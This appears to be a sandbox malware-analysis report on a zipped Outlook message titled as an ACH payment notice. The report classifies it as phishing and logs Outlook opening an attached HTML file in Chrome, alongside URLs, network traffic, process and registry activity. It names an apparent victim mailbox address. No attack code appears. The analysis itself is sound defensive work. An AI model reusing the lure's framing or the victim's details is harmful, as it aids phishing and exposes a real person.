Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://otelrules.svc.static.microsoft
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office365.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office365.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://outlook.office365.com/connectors
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://res.cdn.office.net
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://res.cdn.office.net/mro1cdnstorage/fonts/prod/4.40
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://safelinks.protection.outlook.com/api/GetPolicy
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://service.officepy.microsoftusercontent.com/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://service.powerapps.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://settings.outlook.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://staging.cortana.ai
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://substrate.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://tasks.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://templatesmetadata.office.net/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://useraudit.o365auditrealtimeingestion.manage.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://word-edit.officeapps.live.com/we/rrdiscovery.ashx
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://wus2.contentsync.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: chromecache_101.15.dr, chromecache_96.15.dr	String found in binary or memory: https://www.w3schools.com/w3css/4/w3.css
Source: 29E70295-097A-46CB-8B28-DED1AD70AD1B.8.dr	String found in binary or memory: https://www.yammer.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49749 version: TLS 1.2

Source: classification engine

Classification label: mal100.phis.winZIP@20/70@16/9

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T1607290040-6540.etl

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\AppData\Local\Temp\Temp1_zip file.zip\Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F2%2F2024 Ref.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D1F2F87D-75D8-4576-8469-E7F34A59C0C5" "4F34E7FD-D8A6-4DEC-BD60-84C759A041B4" "6540" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\AppData\Local\Temp\Temp1_zip file.zip\Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F3%2F2024 Ref.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,726869779700369838,1441709904178016688,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D1F2F87D-75D8-4576-8469-E7F34A59C0C5" "4F34E7FD-D8A6-4DEC-BD60-84C759A041B4" "6540" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,726869779700369838,1441709904178016688,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
